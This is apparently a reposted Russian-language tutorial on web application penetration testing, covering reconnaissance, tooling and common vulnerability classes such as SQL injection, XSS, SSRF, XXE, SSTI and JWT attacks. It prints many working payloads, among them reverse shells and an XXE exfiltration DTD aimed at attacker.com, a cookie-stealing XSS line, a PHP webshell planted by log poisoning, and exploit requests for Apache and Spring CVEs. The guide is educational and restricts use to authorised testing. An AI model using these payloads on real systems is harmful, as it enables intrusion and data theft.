Дисклеймер. Материал носит образовательный характер и адресован специалистам по информационной безопасности, студентам профильных направлений, разработчикам и всем, кому интересно понимать, как устроена защита современных веб‑приложений. Гайд написан так, чтобы в нём разобрался человек любого уровня подготовки: от новичка, впервые открывшего Burp, до опытного инженера, который хочет освежить методологию и собрать всё в одном месте. Главная цель показать, где у веба бывают слабые места и как они устроены изнутри, чтобы эти места можно было вовремя закрыть.
Несанкционированный доступ к чужим информационным системам, распространение вредоносного ПО, нарушение работы сервисов и нарушение тайны переписки являются уголовно наказуемыми деяниями. Применяй полученные знания только на тех системах, где у тебя есть явное письменное разрешение на тестирование: собственные стенды, учебные лаборатории (HackTheBox, TryHackMe, PortSwigger Web Security Academy, Root Me), программы Bug Bounty с утверждённым скоупом, а также проекты, где ты работаешь по договору о проведении тестирования на проникновение.
Вступление
Ниже описан рабочий процесс пентеста веб-приложений по шагам, с инструментами и примерами команд для каждого этапа. Всё описанное применяется только на системах, где у тебя есть письменное разрешение на тестирование. Bug Bounty программы, лаборатории вроде HackTheBox и PortSwigger Web Security Academy, собственные стенды. Лезть к чужим системам без согласования это статья, независимо от того, насколько благие у тебя намерения.
Шаг 1. Разведка: узнаём, с чем работаем
Пассивная разведка
Цель даже не узнает, что её изучают. Стоит начать с простого. Погуглить компанию, посмотреть на их сайт, изучить, что они про себя пишут. Заглянуть в LinkedIn сотрудников, особенно разработчиков и devops инженеров, потому что они часто упоминают технологии в резюме. Это бесплатная карта технологического стека.
Дальше идут специализированные штуки. Через сервис crt.sh можно получить все сертификаты, выданные для домена, и там всплывают поддомены, о которых сама компания уже забыла (типа легаси). Архивы вроде Wayback Machine показывают, как сайт выглядел годы назад, и иногда старые версии раскрывают пути к API или забытые эндпоинты. Shodan и Censys позволяют искать серверы по отпечаткам технологий, версиям софта, сертификатам.
Примеры команд для поиска поддоменов:
# amass в пассивном режиме (без прямых запросов к цели)amass enum -passive -d target.com -o amass_passive.txt# subfinder, быстрый и с большим набором источниковsubfinder -d target.com -all -silent -o subfinder.txt# assetfinder, простой и быстрыйassetfinder --subs-only target.com > assetfinder.txt# Получение поддоменов через crt.sh одной командойcurl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u# Объединение результатов всех инструментовcat amass_passive.txt subfinder.txt assetfinder.txt | sort -u > all_subs.txt# Поиск по архиву Waybackwaybackurls target.com > wayback_urls.txtgau target.com >> wayback_urls.txt# theHarvester для OSINT по компанииtheHarvester -d target.com -b all -l 500
Активная разведка
Твой IP попадёт в их логи, поэтому делай это только в рамках согласованного скоупа.
Первое, что ты хочешь узнать это какие поддомены живые:
# httpx проверяет, какие хосты отвечают, и сразу собирает инфуhttpx -l all_subs.txt -sc -title -tech-detect -server -o live_hosts.txt# Если нужна только проверка живости, без лишнегоcat all_subs.txt | httprobe -c 50 > live.txt
Дальше полезно прогнать nmap по найденным адресам. Не всегда весь трафик идёт через 80 и 443. Иногда панель администратора висит на 8080, staging окружение на 8443, а какой-нибудь забытый Jenkins на 50000.
# Быстрое сканирование всех портов через masscansudo masscan -p1-65535 target.com --rate=10000 -oL masscan_results.txt# Детальное сканирование nmap с определением версий и скриптамиnmap -sV -sC -p- --min-rate=1000 -T4 target.com -oA nmap_full# Сканирование только веб-портов с определением технологийnmap -p 80,443,8080,8443,8000,8888 --script=http-enum,http-headers,http-title target.com# Агрессивное сканирование, когда скоуп позволяетnmap -A -p- -T4 target.com -oN aggressive_scan.txt
Когда у тебя есть список живых веб-хостов, нужно понять, что на них крутится:
# whatweb для определения стека технологийwhatweb -a 3 https://target.com# Массовое определение технологий через httpxhttpx -l live.txt -tech-detect -status-code -title -server# nuclei для поиска известных уязвимостей и мисконфиговnuclei -l live.txt -severity medium,high,critical -o nuclei_findings.txt
Поиск скрытых путей
Современное веб-приложение это не только то, что видно на главной. Есть админки, API, служебные файлы, старые версии страниц. Всё это нужно найти.
# ffuf, быстрый фаззер директорийffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \ -u https://target.com/FUZZ -mc 200,204,301,302,307,401,403 -o ffuf_dirs.json# Рекурсивное сканирование через feroxbusterferoxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \ -x php,asp,aspx,jsp,html,bak,txt,old -t 50# gobuster, классикаgobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt \ -x php,html,txt -t 40 -o gobuster_out.txt# dirsearch со встроенным списком расширенийdirsearch -u https://target.com -e php,asp,aspx,jsp,html,js -t 40# Поиск поддиректорий с конкретными расширениями (бэкапы, конфиги)ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \ -u https://target.com/FUZZ -e .bak,.old,.zip,.tar.gz,.sql,.env -mc 200
Не забывай про параметры GET и POST запросов. Скрытые параметры могут вести к скрытому функционалу.
bash# Arjun ищет скрытые параметрыarjun -u https://target.com/api/endpoint -m GET -o arjun_out.txtarjun -u https://target.com/api/endpoint -m POST --headers "Cookie: session=abc"# ParamSpider собирает параметры из архивовparamspider -d target.com -o params.txt# x8, ещё один перебиратель параметровx8 -u https://target.com/api -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
Файл robots.txt и sitemap.xml всегда стоит смотреть руками:
curl -s https://target.com/robots.txtcurl -s https://target.com/sitemap.xmlcurl -s https://target.com/.well-known/security.txt
Файлы .git, .env, .DS_Store, резервные копии вида index.php.bak регулярно находятся на проде:
# Проверка открытого .gitcurl -s https://target.com/.git/HEAD# Если открыт, дампим репозиторий целикомgit-dumper https://target.com/.git/ ./dump# Проверка других стандартных утечекfor f in .env .DS_Store .svn/entries web.config backup.sql dump.sql; do echo "Checking $f" curl -s -o /dev/null -w "%{http_code}\n" https://target.com/$fdone
Шаг 2. Настраиваем рабочее окружение
Прежде чем копать уязвимости, тебе нужен прокси-перехватчик. Это твой главный инструмент, без него пентест невозможен. Стандарт это Burp Suite.
Для смешариков
Burp Suite Community Edition бесплатный и закрывает базовые потребности, Professional стоит денег и добавляет активный сканер, Intruder без ограничений, удобные расширения. Альтернатива это OWASP ZAP (бесплатный, опенсорс) и относительно новый Caido (современный интерфейс, быстро развивается).
Настрой браузер так, чтобы весь трафик шёл через прокси. Установи сертификат CA от прокси в доверенные, иначе HTTPS не будет работать.
# Запуск Burp из командной строкиjava -jar -Xmx4g burpsuite_community.jar# Или через официальный лаунчерburpsuite# Запуск OWASP ZAP в headless режиме для автоматизацииzap.sh -daemon -port 8080 -host 0.0.0.0# Прогон baseline сканера ZAPzap-baseline.py -t https://target.com -r report.html
Параллельно держи открытый терминал для запуска сканеров и блокнот, куда записываешь всё интересное: найденные эндпоинты, странные заголовки, подозрительные ответы. Потом эта заметка превратится в отчёт.
Шаг 3. Разбор технологий: что делать, когда видишь
Nginx
Когда видишь Nginx, первым делом проверяй конфигурационные баги. Самое известное это off-by-slash. Если в конфиге есть директива location /static { alias /var/www/static/; }, то запрос к /static../secret.txt может увести тебя вверх по файловой системе из-за отсутствия слеша в location.
# Проверка off-by-slash вручнуюcurl -s "https://target.com/static../nginx.conf"# Фаззинг алиасов и путейffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ -u "https://target.com/static..FUZZ" -mc 200# Проверка nginx_statuscurl -s https://target.com/nginx_statuscurl -s https://target.com/status
Проверь заголовки ответа, версия Nginx может подсказать известные CVE:
curl -sI https://target.com | grep -i servernmap -sV --script=http-nginx-module-detect -p 80,443 target.com
Отдельная история это когда Nginx работает реверс-прокси перед несколькими бэкендами. Тут живут уязвимости класса HTTP Request Smuggling.
# smuggler.py для детекта десинхронизации запросовpython3 smuggler.py -u https://target.com -q# Массовая проверка списка URLpython3 smuggler.py -u https://target.com -m all# В Burp Pro встроен сканер через HTTP Request Smuggler plugin
Apache
Apache имеет свою специфику. Файлы .htaccess могут быть неправильно защищены. Модуль mod_rewrite с кривыми правилами иногда создаёт дыры. Версии до 2.4.49 страдали от знаменитого Path Traversal (CVE-2021-41773).
# Проверка CVE-2021-41773 (Path Traversal в Apache 2.4.49)curl --path-as-is -s "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"# Проверка CVE-2021-42013 (развитие предыдущей)curl --path-as-is -s "https://target.com/cgi-bin/.%%32%65/%%32%65%%32%65/etc/passwd"# Поиск уязвимых версий через nucleinuclei -u https://target.com -t cves/2021/CVE-2021-41773.yaml
Смотри расширения файлов. Apache понимает множественные расширения, и файл shell.php.jpg может быть выполнен как PHP, если mod_mime настроен неправильно. При аплоаде файлов это открывает дорогу к RCE.
PHP
PHP это огромный мир уязвимостей. Если видишь расширение .php в URL или определил PHP по заголовкам, открывай набор специфических проверок.
Первое это Local File Inclusion. Если есть параметр вида ?page=about, и страница подтягивается через include, подставь ?page=../../../../etc/passwd и посмотри на реакцию.
# Базовая проверка LFIcurl -s "https://target.com/index.php?page=../../../../etc/passwd"# Через PHP filter для чтения исходников в base64curl -s "https://target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | \ grep -o 'PD9waH[A-Za-z0-9+/=]*' | base64 -d# Автоматический фаззинг LFIffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ -u "https://target.com/index.php?page=FUZZ" -mr "root:"# LFISuite для автоматизации эксплуатацииpython lfisuite.py -u "https://target.com/index.php?page=FILE"
Из LFI часто делают RCE. Если можешь контролировать содержимое какого-то файла на сервере (лог Apache, сессионный файл, временный файл), включай его через LFI и получаешь выполнение кода:
# Классика: log poisoning через User-Agentcurl -s "https://target.com/" -H 'User-Agent: <?php system($_GET["cmd"]); ?>'curl -s "https://target.com/index.php?page=/var/log/apache2/access.log&cmd=id"# RCE через session.upload_progresspython3 phpSessionLFIRCE.py -u https://target.com -lfi "/index.php?page="
Загрузка файлов это отдельный источник боли для разработчиков:
# Базовый тест загрузки PHP с обходом через двойное расширениеcurl -X POST https://target.com/upload.php \ -F "file=@shell.php.jpg" -F "submit=Upload"# Проверка альтернативных расширенийfor ext in phtml php3 php4 php5 php7 pht phar; do cp shell.php shell.$ext curl -X POST https://target.com/upload.php -F "file=@shell.$ext"done# Магические байты для обхода проверки типаecho -e "\xff\xd8\xff\xe0<?php system(\$_GET['c']); ?>" > shell.php
Десериализация в PHP это высокая магия. Если приложение принимает сериализованные данные от пользователя через функцию unserialize, ты можешь построить цепочку гаджетов (POP-chain) и получить RCE.
# PHPGGC генерирует готовые цепочки под популярные фреймворкиphpggc Laravel/RCE9 system idphpggc Symfony/RCE4 system id -b # base64-encodedphpggc -l # список всех доступных цепочек# Использование сгенерированного пейлоадаpayload=$(phpggc Laravel/RCE9 system id -u)curl "https://target.com/?data=$payload"
WordPress
Если видишь WordPress, первым делом запускай wpscan:
# Базовое сканированиеwpscan --url https://target.com --api-token YOUR_TOKEN# Агрессивное, с перечислением всегоwpscan --url https://target.com --enumerate ap,at,cb,dbe,u,m --plugins-detection aggressive# Брутфорс пользователейwpscan --url https://target.com --passwords /usr/share/wordlists/rockyou.txt \ --usernames admin,editor --max-threads 20# Проверка утечек через wp-jsoncurl -s https://target.com/wp-json/wp/v2/users | jqcurl -s https://target.com/?rest_route=/wp/v2/users
Эндпоинт xmlrpc.php может использоваться для брутфорса паролей и амплификации DDoS:
# Проверка, активен ли xmlrpccurl -X POST https://target.com/xmlrpc.php -d "<methodCall><methodName>system.listMethods</methodName></methodCall>"
Node.js и JavaScript фронтенды
С Node.js ты часто встречаешь JSON API и одностраничные приложения на React, Vue, Angular. Здесь фокус смещается. Анализируй JavaScript код прямо в браузере, он открыт для чтения.
# LinkFinder вытаскивает эндпоинты из JS-бандловpython linkfinder.py -i https://target.com/main.js -o cli# Массовый анализ всех JS на сайтеpython linkfinder.py -i https://target.com -d -o results.html# SecretFinder ищет секреты и ключи в JSpython SecretFinder.py -i https://target.com/static/main.js -o cli# jsluice, современный анализатор JSjsluice urls main.jsjsluice secrets main.js# Поиск ключей AWS, токенов в скачанных JStrufflehog filesystem ./downloaded_js/
Проверяй, не светятся ли в бандле секреты. Ключи AWS, токены API, URL внутренних сервисов часто залетают в прод случайно.
Java приложения и Spring
Java это уже корпоративный сегмент. Если видишь .jsp, .do, .action в URL, или заголовок сервера намекает на Tomcat, WebLogic, JBoss это Java.
# ysoserial для генерации пейлоадов десериализацииjava -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/?$(whoami)" > payload.bin# Список доступных гаджетовjava -jar ysoserial.jar --help# Отправка пейлоада в уязвимый эндпоинтcurl -X POST https://target.com/api/endpoint \ -H "Content-Type: application/octet-stream" \ --data-binary @payload.bin
Spring Boot часто оставляет открытыми эндпоинты Actuator на /actuator:
# Проверка открытых Actuator эндпоинтовfor ep in env heapdump trace mappings beans configprops loggers threaddump gateway; do echo -n "$ep: " curl -s -o /dev/null -w "%{http_code}\n" https://target.com/actuator/$epdone# Скачивание heapdump, там могут быть пароли в памятиcurl -o heap.bin https://target.com/actuator/heapdumpstrings heap.bin | grep -iE "password|secret|token|api_key"# CVE-2022-22947 (Spring Cloud Gateway RCE)curl -X POST https://target.com/actuator/gateway/routes/hacktest \ -H "Content-Type: application/json" \ -d '{"id":"hacktest","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"}}]}'
Шаг 4. Основные уязвимости и как их искать
SQL Injection
Классика, которая живёт уже три десятилетия и не собирается умирать. Суть в том, что пользовательский ввод напрямую попадает в SQL-запрос, и ты можешь сломать синтаксис или подклеить свои команды.
Лучше начать с ручной проверки. Подставляй одинарную кавычку в параметры. Если приложение отдаёт 500 ошибку или странный ответ уже интересно.
# Сохраняем запрос из Burp в файл (в Burp: Copy to file)# Базовый запуск sqlmapsqlmap -r request.txt --batch --level=5 --risk=3# Определение БД и версииsqlmap -r request.txt --fingerprint --banner# Дамп всех базsqlmap -r request.txt --dbs# Дамп конкретной таблицыsqlmap -r request.txt -D target_db -T users --dump# Чтение файлов с сервера (если есть привилегии)sqlmap -r request.txt --file-read=/etc/passwd# Получение шелла (работает не всегда, но попытаться стоит)sqlmap -r request.txt --os-shellsqlmap -r request.txt --os-pwn# Обход WAF через тамперыsqlmap -r request.txt --tamper=space2comment,charencode,randomcase --random-agent# Только определённый параметрsqlmap -r request.txt -p username --technique=BEUSTQ
Для NoSQL баз есть свой инструмент:
# NoSQLMap для MongoDB и других NoSQLpython nosqlmap.py# Ручная проверка MongoDB инъекцийcurl -X POST https://target.com/login -H "Content-Type: application/json" \ -d '{"username":{"$ne":null},"password":{"$ne":null}}'
XSS: Cross-Site Scripting
Reflected это когда твой ввод отражается в ответе без санитайзинга.
# dalfox, мощный сканер XSSdalfox url https://target.com/search?q=testdalfox url https://target.com/search?q=test --custom-payload xss.txt -o results.txt# Массовое сканированиеcat urls.txt | dalfox pipe --blind https://xss.report/c/yourid# Работа через Burp proxydalfox url https://target.com/search?q=test --proxy http://127.0.0.1:8080# KNOXSS (коммерческий, но очень эффективный)curl https://api.knoxss.pro -d "target=https://target.com/search?q=XSS" -H "X-API-KEY: your_key"# XSStrike, ещё один сканер с умным анализом контекстаpython xsstrike.py -u "https://target.com/search?q=test"python xsstrike.py -u "https://target.com/page" --data "name=test&email=a@b.c" --crawl
Для blind XSS, когда пейлоад срабатывает где-то в админке:
# Классический пейлоад с XSS Hunter (свой инстанс)<script src="https://your-xsshunter.com/abc"></script># Пейлоад для отправки кук на свой webhook<img src=x onerror="fetch('https://webhook.site/your-id?c='+document.cookie)">
SSRF: Server-Side Request Forgery
SSRF это когда ты заставляешь сервер делать запросы от своего имени. Функционал предпросмотра ссылок, импорта URL, загрузки аватарки по ссылке, генерации PDF из HTML это всё кандидаты на SSRF.
# Получение уникального URL через interactshinteractsh-client# Получаешь URL вида abc123.oast.pro, подставляешь в параметр# Проверка доступа к AWS metadatacurl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"# GCP metadatacurl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/"# Обходы фильтров через разные нотации IP# Десятичная форма 127.0.0.1curl "https://target.com/fetch?url=http://2130706433/"# С нулямиcurl "https://target.com/fetch?url=http://127.000.000.001/"# Через DNS rebinding (сервисы вроде rbndr.us)curl "https://target.com/fetch?url=http://7f000001.c0a80001.rbndr.us/"# SSRFmap автоматизирует эксплуатациюpython ssrfmap.py -r request.txt -p url -m readfiles,portscan,aws,redispython ssrfmap.py -r request.txt -p url -m portscan --lhost=127.0.0.1 --lport=80-10000# Gopherus генерирует gopher:// пейлоады для атак на внутренние сервисыpython gopherus.py --exploit redispython gopherus.py --exploit mysql
Path Traversal
Path Traversal это выход за пределы разрешённой директории.
# Классический фаззинг через ffufffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ -u "https://target.com/download?file=FUZZ" -mr "root:"# wfuzz, альтернативаwfuzz -c -z file,/usr/share/wordlists/lfi.txt \ --hh 4242 "https://target.com/download?file=FUZZ"# dotdotpwn для автоматизацииdotdotpwn.pl -m http -h target.com -M GET -o unix -d 8 -f /etc/passwd -k "root:"
IDOR: Insecure Direct Object References
IDOR это когда приложение даёт тебе доступ к объекту по идентификатору, но не проверяет, что объект действительно твой. Меняешь id=123 на id=124 и видишь чужие данные.
# Перебор идентификаторов через ffufffuf -w numbers.txt -u "https://target.com/api/users/FUZZ" \ -H "Cookie: session=YOUR_SESSION" -fc 403,404# Создание списка числовых IDseq 1 10000 > numbers.txt# Сравнение длины ответов для выявления аномалийffuf -w numbers.txt -u "https://target.com/api/orders/FUZZ" \ -H "Cookie: session=USER1_SESSION" -o idor_results.json -of json# autorize (расширение для Burp) делает это автоматически# Настраиваешь две сессии, оно показывает, что доступно кому не должно быть
CSRF: Cross-Site Request Forgery
CSRF это когда ты заставляешь браузер жертвы сделать запрос к приложению, где она авторизована, без её ведома.
# Генерация PoC через Burp: Engagement tools -> Generate CSRF PoC# Ручной пример HTML для тестаcat > csrf_poc.html <<EOF<html><body><form action="https://target.com/account/email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com"> <input type="submit"></form><script>document.forms[0].submit();</script></body></html>EOF
Проверяй, что токен реально валидируется. Убери параметр csrf_token из запроса и отправь. Замени значение токена на пустое. Подставь токен от другого пользователя. Если хоть один вариант прошёл, защита сломана.
XXE: XML External Entity
Когда приложение парсит XML от пользователя (SOAP API, SAML, парсинг документов, SVG), проверяй XXE.
# Базовый пейлоад чтения файлаcat > xxe_payload.xml <<EOF<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>EOFcurl -X POST https://target.com/api/xml \ -H "Content-Type: application/xml" --data @xxe_payload.xml# Blind XXE через внешний DTDcat > evil.dtd <<EOF<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">%eval;%exfil;EOF# Запускаем HTTP сервер с этим DTDpython3 -m http.server 8000# Отправляем пейлоад, который загружает наш DTDcat > blind_xxe.xml <<EOF<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com:8000/evil.dtd"> %xxe;]><foo>bar</foo>EOF
SSTI: Server-Side Template Injection
Когда приложение рендерит пользовательский ввод через шаблонизатор, это SSTI.
# tplmap автоматизирует детект и эксплуатациюpython tplmap.py -u "https://target.com/page?name=john"python tplmap.py -u "https://target.com/page" -d "name=john" --os-shell# Ручные проверки по движкам# Jinja2 (Python)curl "https://target.com/?name={{7*7}}"curl "https://target.com/?name={{config}}"curl "https://target.com/?name={{''.__class__.__mro__[1].__subclasses__()}}"# Twig (PHP)curl "https://target.com/?name={{7*7}}"curl "https://target.com/?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"# Freemarker (Java)curl "https://target.com/?name=<#assign ex='freemarker.template.utility.Execute'?new()>\${ex('id')}"
Аутентификация и сессии
JWT (JSON Web Token) — это компактный токен в формате строки, которым сервер подтверждает личность пользователя и передаёт о нём данные, защищая всё это подписью от подделки. JWT с алгоритмом none или слабым секретом это частая находка:
# jwt_tool, комбайн для атак на JWTpython3 jwt_tool.py <JWT> -T # тамперинг токенаpython3 jwt_tool.py <JWT> -X a # атака через alg=nonepython3 jwt_tool.py <JWT> -X k # kid injectionpython3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt # брутфорс секретаpython3 jwt_tool.py <JWT> -X s -pk attacker_pub.pem # JWK injection# Брутфорс секрета через hashcathashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
Брутфорс форм логина:
# hydra для классических формhydra -L users.txt -P passwords.txt target.com https-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials"# ffuf для произвольных APIffuf -w passwords.txt -u https://target.com/api/login -X POST \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"FUZZ"}' \ -mr "success"
Race Conditions
Состояние гонки это когда ты делаешь две операции одновременно, и проверка, которая должна защищать одну из них, не успевает сработать.
# Turbo Intruder (расширение Burp) главный инструмент для гонок# В Burp: правой кнопкой на запрос -> Extensions -> Turbo Intruder -> Send to...# Использует race-single-packet-attack.py для синхронизации# race-the-web, отдельная утилитаrace-the-web config.yml# Ручной тест через xargs и curlseq 1 30 | xargs -P 30 -I {} curl -s -X POST https://target.com/redeem \ -H "Cookie: session=abc" -d "coupon=SAVE50"
Бизнес-логика
Это самая творческая часть пентеста. Сканер сюда не полезет, потому что это не технический баг, а ошибка в понимании, как должно работать приложение. Можно ли оформить отрицательный возврат и получить деньги? Примет ли корзина отрицательное количество товара? Можно ли применить скидочный купон дважды?
Эти баги находятся внимательным изучением функционала и тщательной проверкой того, что граничные значения обрабатываются корректно. Автоматики нет, есть только Burp Repeater и смекалка.
Шаг 5. После того, как нашёл вход
Найти уязвимость это половина дела. Показать impact вторая половина.
Если получил RCE, не спеши бросать reverse shell. Сначала подумай про скоуп.
# На атакере слушаем входящее соединениеnc -lvnp 4444# На цели разные варианты реверс-шеллаbash -i >& /dev/tcp/attacker.com/4444 0>&1python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'php -r '$s=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'# Стабилизация шелла после подключенияpython3 -c 'import pty; pty.spawn("/bin/bash")'# Нажать Ctrl+Z, на атакере: stty raw -echo; fg; resetexport TERM=xterm
Разведка привилегий и векторов эскалации:
# linpeas на Linuxcurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh# linux-smart-enumeration, альтернатива./lse.sh -l 2# Быстрые ручные проверкиid && whoamisudo -lfind / -perm -u=s -type f 2>/dev/null # SUID бинариgetcap -r / 2>/dev/null # capabilitiescat /etc/crontabls -la /etc/cron.d/
Шаг 6. Отчёт
Отчёт это продукт пентеста. Клиент платит не за найденные баги, а за то, чтобы их починили, и отчёт главный инструмент для этого.
Хороший отчёт начинается с executive summary на одну страницу для менеджмента. Там простым языком описано, что вы проверили, что нашли, насколько всё плохо, что делать дальше. Без технических деталей, но с ясным месседжем.
Дальше идёт техническая часть. Каждая уязвимость оформляется по шаблону. Название и категория. Описание сути простым языком. Шаги воспроизведения, настолько детальные, чтобы разработчик смог повторить. Скриншоты запросов и ответов. Оценка серьёзности по CVSS или внутренней шкале. Рекомендации по исправлению, конкретные, не «валидируйте ввод», а «используйте параметризованные запросы через PDO».
# CVSS калькулятор в консолиpip install cvsslibcvsscalc "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"# Генерация отчётов через sysreptor, open-source платформаbash <(curl -s https://docs.sysreptor.com/install.sh) # Дальше по мануалу# Дальше через веб-интерфейс# Faraday для совместной работы команды и агрегации находокfaraday-serverfaraday-client
Завершается отчёт общими рекомендациями по улучшению процессов безопасности и повторным тестированием после исправлений.
Напоследок
Если коротко: веб-пентест это разведка плюс терпение плюс системный подход. Инструменты из этого гайда покрывают процентов восемьдесят повседневных задач, остальное добирается опытом и насмотренностью. Чем больше реальных приложений ты проанализируешь на легальных стендах и Bug Bounty программах, тем быстрее научишься замечать паттерны уязвимостей с первого взгляда.
Не нужно гнаться за громкими CVE, не стоит пропускать скучные проверки вроде IDOR и логических багов, стоит вести заметки и писать понятные отчёты. Это нудные привычки, но именно они отличают хорошего специалиста от того, кто просто умеет запускать sqlmap. Удачи в исследованиях и помни, главное правило одно: ломай только то, на что у тебя есть разрешение.
ссылка на оригинал статьи https://habr.com/ru/articles/1029470/